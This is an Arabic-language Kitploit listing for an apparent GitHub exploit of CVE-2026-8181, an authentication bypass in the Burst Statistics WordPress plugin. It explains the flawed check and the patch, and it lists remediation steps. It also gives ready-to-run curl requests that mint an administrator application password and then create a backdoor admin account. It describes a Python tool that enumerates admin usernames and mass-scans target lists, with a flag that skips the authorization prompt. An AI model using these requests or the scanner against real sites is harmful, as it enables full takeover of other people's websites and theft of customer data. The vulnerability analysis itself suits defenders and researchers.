Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8181 — المكوّن الإضافي Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) لـ WordPress معرّض لثغرة تجاوز المصادقة (Authentication Bypass) | Kitploit
أدوات/GitHubGitHub/yucaerin/cve-2026-8181
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالمصادقةالتعلم والتعليم
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

المكوّن الإضافي Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) لـ WordPress معرّض لثغرة تجاوز المصادقة (Authentication Bypass)

عرض المستودع
11منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — تجاوز المصادقة المؤدي إلى الاستيلاء على حساب المسؤول

ملخص الثغرة

إضافة ووردبريس Burst Statistics في الإصدارات 3.4.0 إلى 3.4.1.1 معرّضة لثغرة تجاوز مصادقة دون الحاجة لمصادقة مسبقة تؤدي إلى الاستيلاء الكامل على حساب المسؤول. تتيح هذه الثغرة الحرجة لمهاجم غير مصادَق يعرف اسم مستخدم أي مسؤول إنشاء كلمة مرور تطبيق ووردبريس صالحة لذلك الحساب في طلب HTTP واحد، محققاً وصولاً دائماً بصلاحيات المسؤول إلى الموقع بأكمله.

ينبع أصل الثغرة من الدالة is_mainwp_authenticated() في الملف class-mainwp-proxy.php. تستدعي هذه الدالة wp_authenticate_application_password() وتتحقق فقط مما إذا كانت النتيجة WP_Error. وهي لا تتحقق مما إذا كانت النتيجة كائناً WP_User ناجحاً فعلاً. عندما يُرجع مُرشِّح ووردبريس الداخلي application_password_is_api_request القيمة false — وهو ما يحدث عند إجراء الاستدعاء خارج مسار مصادقة REST API العادي — تُرجع دالة ووردبريس القيمة بدلاً من أو . ولأن ليست ، يمرّ الفحص بنجاح، ويتم تعيين مستخدم المسؤول الذي اختاره المهاجم كمستخدم حالي عبر .

null
WP_Error
WP_User
null
WP_Error
wp_set_current_user()

بمجرد تحويل المستخدم الحالي إلى مسؤول، تنجح فحوصات الصلاحيات اللاحقة. يمكن للمهاجم بعد ذلك الوصول إلى نقطة نهاية REST /burst/v1/mainwp-auth، التي تنشئ كلمة مرور تطبيق ووردبريس لحساب المسؤول وتُعيدها في الاستجابة. يمنح هذا المهاجم وصولاً دائماً كاملاً بصلاحيات المسؤول.

الإضافة المتأثرة

الحقلالقيمة
اسم الإضافةBurst Statistics – Privacy-Friendly WordPress Analytics
معرّف الإضافةburst-statistics
الإصدارات المتأثرة3.4.0 – 3.4.1.1
الإصدار المُصحَّح3.4.2
معرّف CVECVE-2026-8181
درجة CVSS9.8 (حرجة)
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
نوع الثغرةتجاوز المصادقة (مصادقة غير سليمة)
CWECWE-287 — مصادقة غير سليمة
التأثيرالاستيلاء الكامل على الموقع — الاستيلاء على حساب المسؤول

ما يمكن للمهاجمين فعله

القدرةالتأثير
إنشاء كلمة مرور تطبيق لأي مسؤولوصول دائم بصلاحيات المسؤول
إنشاء حسابات مسؤول جديدة عبر REST APIتكاثر الحسابات
تثبيت إضافات / قوالبتنفيذ كود عن بُعد
تعديل المقالات والصفحات والإعداداتتشويه الموقع
تصدير أو حذف جميع بيانات الموقعتدمير البيانات / تسريبها
الوصول إلى بيانات WooCommerce / بيانات العملاءاختراق البيانات

التحليل الفني

تهيئة الإضافة والبوابة المعرّضة للثغرة

تتم تهيئة Burst Statistics أثناء خطاف plugins_loaded في ووردبريس بأولوية 9، داخل class-burst.php:

root@kitploit:~
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

تُعد has_admin_access() البوابة الحاكمة لجميع وظائف الإدارة. وهي تتحقق من ترويسة X-BurstMainWP وتستدعي الدالة المعرّضة للثغرة:

root@kitploit:~
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

الدالة المعرّضة للثغرة: is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

لماذا تُرجع wp_authenticate_application_password() القيمة null

تحتوي دالة ووردبريس الداخلية wp_authenticate_application_password() على مُرشِّح (filter):

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}

عند استدعائها خارج مسار مصادقة REST API، تُرجع هذه الدالة null. تحقق كود Burst Statistics فقط من is_wp_error($is_valid) — وnull ليست WP_Error، لذا يمرّ الفحص بشكل خاطئ.

مسار التنفيذ المؤدي إلى الاستيلاء على حساب المسؤول

  1. يرسل المهاجم ترويسة X-BurstMainWP: 1 مع أي طلب
  2. تستدعي has_admin_access() الدالة is_mainwp_authenticated()
  3. تُرجع wp_authenticate_application_password() القيمة null (ليست في سياق API)
  4. is_wp_error(null) = false → يمرّ الفحص بنجاح
  5. يتم تنفيذ wp_set_current_user($admin_id)
  6. يصبح المستخدم الحالي هو المسؤول المختار
  7. يرسل المهاجم طلب POST إلى /burst/v1/mainwp-auth
  8. تُنشئ handle_auth_request() كلمة مرور تطبيق ووردبريس
  9. يُعاد الرمز المميز بصيغة base64(username:app_password)
  10. يستخدم المهاجم هذا الرمز للوصول الدائم بصلاحيات المسؤول عبر REST API

تحليل التصحيح (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

التصحيحات المطبَّقة:

  • إجبار مُرشِّح application_password_is_api_request على القيمة true بحيث يحدث التحقق الفعلي من كلمة المرور
  • التحقق من أن النتيجة عبارة عن كائن WP_User (وليس null)
  • استخدام hash_equals() للتحقق من تطابق اسم المستخدم

بالإضافة إلى ذلك، تمت تقوية الدالة check_auth_permission() الخاصة بنقطة نهاية REST لتتطلب current_user_can('manage_burst_statistics') و تحققاً صريحاً من الـ nonce للطلبات المصادَق عليها عبر ملفات تعريف الارتباط (cookies).

إثبات المفهوم (PoC)

الطريقة اليدوية عبر cURL

root@kitploit:~
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

أداة الاستغلال بلغة بايثون

يقوم سكربت exploit_burst_statistics.py بأتمتة سلسلة الهجوم بأكملها:

  • المرحلة 0: اكتشاف الإصدار عبر readme.txt أو ترويسة الإضافة أو استعلامات الأصول (asset query strings)
  • المرحلة 1: تعداد أسماء مستخدمي المسؤولين عبر REST API أو صفحات المؤلفين أو قائمة أسماء المستخدمين الشائعة
  • المرحلة 2: تجاوز المصادقة باستخدام X-BurstMainWP: 1 + Basic Auth مزيف لإنشاء الرمز المميز
  • المرحلة 3: التحقق من الرمز المميز والتحقق من بنيته
  • الماسح الجماعي: فحص متعدد الأهداف باستخدام الخيوط (threads) مع تسجيل الأهداف المعرّضة للثغرة في الوقت الفعلي

ميزات أداة الاستغلال

  • بدون مصادقة — لا يتطلب وصولاً مسبقاً
  • طلب HTTP واحد لإنشاء كلمة مرور تطبيق دائمة
  • يكتشف تلقائياً إصدار Burst Statistics ويتخطى الأهداف المُصحَّحة
  • يعدد اسم مستخدم المسؤول تلقائياً إذا لم يتم توفيره
  • يدعم كل من الروابط الدائمة الجميلة (/wp-json/) والروابط الدائمة غير الجميلة (/?rest_route=)
  • فحص جماعي باستخدام ThreadPoolExecutor
  • كتابة الملفات في الوقت الفعلي — تُحفظ الأهداف المعرّضة للثغرة فوراً دون انتظار اكتمال الفحص
  • قفل ملفات آمن للخيوط (thread-safe)

طريقة الاستخدام

هدف واحد (تعداد المسؤول تلقائياً)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

هدف واحد (اسم مستخدم المسؤول معروف)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

الفحص الجماعي

أنشئ ملف targets.txt:

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

الخيارات

العلامةالوصف
-t, --targetرابط هدف واحد
-l, --listملف يحتوي قائمة الأهداف (هدف واحد في كل سطر)
-T, --threadsعدد الخيوط للفحص الجماعي (الافتراضي: 10)
-o, --outputملف الإخراج للنتائج (الافتراضي: result_burst_statistics.txt)
-u, --usernameاسم مستخدم المسؤول المعروف (تخطي التعداد)
-v, --verboseمخرجات تصحيح مفصّلة
--timeoutمهلة الطلب بالثواني (الافتراضي: 20)
--no-confirmتخطي مطالبة تأكيد الإذن

توصيات الإصلاح

للمطورين وأصحاب المواقع:

  1. حدّث فوراً إلى Burst Statistics 3.4.2 أو أحدث
  2. إذا تعذّر التحديث، عطّل الإضافة مؤقتاً
  3. بعد التحديث، ألغِ جميع كلمات مرور التطبيق الحالية لحسابات المسؤولين:
    • لوحة تحكم ووردبريس (WP Admin) → المستخدمون → [المسؤول] → كلمات مرور التطبيق → إلغاء الكل
  4. تحقق من وجود حسابات مسؤول غير مصرّح بها أو إنشاء مستخدمين غير متوقعين
  5. راجع سجلات الخادم بحثاً عن الطلبات التي تحتوي على ترويسة X-BurstMainWP: 1

الجدول الزمني

التاريخالحدث
2026-05-08تم حجز معرّف CVE
2026-05-11تم إخطار المطوّر
2026-05-13تم الكشف علناً
2026-05-13تم إصدار التصحيح (v3.4.2)
2026-05-15تم الإبلاغ عن استغلال نشط في البرية

الباحث

  • الفضل: Chloe Chamberland — Wordfence PRISM

المراجع

  • نشرة Wordfence الأمنية
  • سجل CVE
  • فرق التصحيح — class-mainwp-proxy.php
  • NVD

إخلاء مسؤولية

تُقدَّم هذه المعلومات لأغراض تعليمية واختبار الاختراق المصرّح به فقط. الاستغلال غير المصرّح به لأنظمة الحاسوب أمر غير قانوني وغير أخلاقي. احصل دائماً على إذن كتابي صريح قبل اختبار أي هدف لا تملكه.

تنزيل الأداة